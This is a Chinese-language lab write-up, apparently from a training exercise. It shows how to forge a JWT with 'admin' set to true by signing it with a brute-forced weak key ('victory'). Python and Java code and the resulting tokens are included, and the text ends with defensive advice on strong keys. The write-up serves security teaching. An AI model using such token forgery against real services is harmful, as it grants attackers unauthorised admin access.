使用爆破出来的密钥:victory和篡改JWT中admin参数为true获得篡改后的JWT。
也可以使用python3 的PyJWT去获得JWTimport jwt # payload token_dict = { "iat": 1570415291, "admin": "true", "user": "Tom" } key = "victory" # headers headers = { "typ": "JWT", "alg": "HS512" } # 调用jwt库,生成json web token jwt_token = jwt.encode(token_dict, # payload, 有效载体 key, algorithm="HS512",# 指明签名算法方式, 默认是HS256,需要与headers中"alg"保持一致。 headers=headers # json web token 数据结构包含两部分, payload(有效载体), headers(标头) ) print("jwt_token") print(jwt_token)
得到:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NzA0MTUyOTEsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ.2uqgOomtrYjU9h2gYFkzTxh_coX0dcuiONhiEZN**Y_VCu7k8imLxOBer0Ws5qnC0X3e56eEVKVIqVGz8OZvZQ
也可以使用Java:
import io.jsonwebtoken.Claims; import io.jsonwebtoken.Jwts; import io.jsonwebtoken.impl.TextCodec; public class baseencodeJWTcryptotest { public static String JWT_PASSWORD = TextCodec.BASE64.encode("victory"); public static void createJWTToken() { Claims claims = Jwts.claims(); claims.put("iat", 1570415291); claims.put("admin", "True"); claims.put("user", "Tom"); String token = Jwts.builder().setClaims(claims).setHeaderParam("typ", "JWT") .setHeaderParam("alg","HS512") .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD).compact(); System.out.println(token); } public static void main(String[] args) { baseencodeJWTcryptotest.createJWTToken(); } }得到:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NzA0MTUyOTEsImFkbWluIjoiVHJ1ZSIsInVzZXIiOiJUb20ifQ.cQTTGQK75NUnzi8tN1xHeQNXjVmqlH3U_9ynyccCZjUogTM7A5GV7V570LXIuvPgbSPfEAjpOqxL8woWXHrCIg
使用篡改的JWT,发送reset报文。
“congratulations”,成功了。
jwt.io:
python:
Java:
总结:
开发人员不应在JWT中暴露敏感信息,可使用工具将截获的JWT解析查看是否包含敏感信息。
JWT弱口令爆破可以离线进行。
JWT的安全性非常依赖密钥的长度及复杂度,建议密钥设置为32位及以上长度的随机字符。
Refreshing a token